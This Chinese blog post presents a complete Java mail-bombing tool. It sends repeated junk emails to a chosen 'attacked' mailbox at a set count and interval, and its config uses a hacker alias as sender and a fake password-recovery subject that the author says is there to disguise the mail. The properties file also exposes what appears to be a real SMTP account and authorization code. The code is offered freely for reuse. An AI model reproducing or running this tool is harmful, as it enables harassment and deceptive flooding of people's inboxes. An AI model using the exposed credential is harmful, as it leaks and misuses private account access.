具体要求:编写程序发送垃圾邮件到被攻击的邮箱。
- 编写程序批量发送邮件到被攻击的邮箱,可设定被攻击的邮箱地址
- 可设定发送的邮件数量
- 可设置发送邮件的时间间隔
<dependency>
<groupId>javax.mail</groupId>
<artifactId>mail</artifactId>
<version>1.5.0-b01</version>
</dependency>
MailConfig
配置文件 mailConfig.properties。里面配置了在开通邮件服务时的信息,比如发送邮件的服务器(126邮件服务),我的邮箱账号(yzhyaa@126.com),即授权码信息。另外就是发送信息,比如收到邮件显示的发送人(黑客膏药),发送的邮件的主题(这里为了伪装,所以邮件主题是找回密码邮箱验证),然后就是发送信息的模板。
#服务器
mailHost=smtp.126.com
#端口号
mailPort=25
#邮箱账号
mailUsername=yzhyaa@126.com
#邮箱授权码
mailPassword=QDHVACFDWZBFAAT
#时间延迟
mailTimeout=2500
#发送人
mailFrom=yzhyaa@126.com
#发件人
personal=黑客膏药
#主题
subject=找回密码邮箱验证
#内容模板
html=垃圾邮件,哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。。。
MailConfig:负责读取上面 mailConfig.Properties 配置文件的内容信息。单独写一个读取类的目的是提高代码的可复用性。
public class MailConfig {
private static final String PROPERTIES_DEFAULT = "mailConfig.properties";
public static String host;
public static Integer port;
public static String userName;
public static String passWord;
public static String emailForm;
public static String timeout;
public static String personal;
public static String html;
public static String subject;
public static Properties properties;
static{
init();
}
/**
* 初始化
*/
private static void init() {
properties = new Properties();
try{
InputStream inputStream = MailConfig.class.getClassLoader().getResourceAsStream(PROPERTIES_DEFAULT);
// properties.load(inputStream);
// inputStream.close();
//解决中文乱码,采取reader把inputStream转换成reader用字符流来读取中文
BufferedReader bf = new BufferedReader(new InputStreamReader(inputStream));
properties.load(bf);
host = properties.getProperty("mailHost");
port = Integer.parseInt(properties.getProperty("mailPort"));
userName = properties.getProperty("mailUsername");
passWord = properties.getProperty("mailPassword");
emailForm = properties.getProperty("mailFrom");
timeout = properties.getProperty("mailTimeout");
personal = properties.getProperty("personal");
html = properties.getProperty("html");
subject = properties.getProperty("subject");
} catch(IOException e){
e.printStackTrace();
}
}
}
MailUtil
MailUtil:核心类。封装了调用邮件服务的API,将之前的配置信息封装到MimeMessage中,然后通过MimeMessageHelper发送邮件。值得注意的是,这里的定时发送为了简便,所以只是简单采用了线程阻塞的解决方案。剩下内容详见注释。
public class MailUtil {
private static final String HOST = MailConfig.host;
private static final Integer PORT = MailConfig.port;
private static final String USERNAME = MailConfig.userName;
private static final String PASSWORD = MailConfig.passWord;
private static final String emailForm = MailConfig.emailForm;
private static final String timeout = MailConfig.timeout;
private static final String personal = MailConfig.personal;
private static final String subject = MailConfig.subject;
private static final String html = MailConfig.html;
private static JavaMailSenderImpl mailSender = createMailSender();
/**
* 邮件发送器
*
* @return 配置好的工具
*/
private static JavaMailSenderImpl createMailSender() {
JavaMailSenderImpl sender = new JavaMailSenderImpl();
sender.setHost(HOST);
sender.setPort(PORT);
sender.setUsername(USERNAME);
sender.setPassword(PASSWORD);
sender.setDefaultEncoding("Utf-8");
Properties p = new Properties();
p.setProperty("mail.smtp.timeout", timeout);
p.setProperty("mail.smtp.auth", "false");
sender.setJavaMailProperties(p);
return sender;
}
/**
* 发送邮件
*
* @param to 接受人
* @throws UnsupportedEncodingException 异常
*/
public static void sendMail(String to, Integer count, Integer seconds) throws Exception {
if (seconds < 10) {
throw new IllegalArgumentException("时间间隔必须大于10秒");
}
MimeMessage mimeMessage = mailSender.createMimeMessage();
// 设置utf-8或GBK编码,否则邮件会有乱码
MimeMessageHelper messageHelper = new MimeMessageHelper(mimeMessage, true, "UTF-8");
messageHelper.setFrom(emailForm, personal);
messageHelper.setTo(to);
messageHelper.setSubject(subject);
messageHelper.setText(createHtml(), true);
SimpleDateFormat sf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
System.out.println("开始向邮箱 " + to + " 发送垃圾邮件...");
for (int i = 0; i < count; i++) {
// 发送一封邮件的延时为10秒
mailSender.send(mimeMessage);
System.out.println(sf.format(new Date()) + " 第" + (i+1) + "封邮件发送成功");
if(i < count - 1) TimeUnit.SECONDS.sleep(seconds-10);
}
System.out.println("所有邮件发送完成!!");
}
public static String createHtml() {
String tmeplate = html ;
return tmeplate;
}
}
Main
负责向指定邮箱发送邮件,并指定邮件个数,时间间隔。
public class Main {
public static void main(String[] args) throws Exception{
// 向 ~@qq.com 发送垃圾邮件,共三封,没封隔20秒
MailUtil.sendMail("~@qq.com", 3, 20);
}
}
本文标题:【项目杂记】邮件服务,及实现定时发送垃圾邮件实例
本文链接:https://blog.quwenai.cn/post/9857.html
版权声明:本文不使用任何协议授权,您可以任何形式自由转载或使用。










还没有评论,来说两句吧...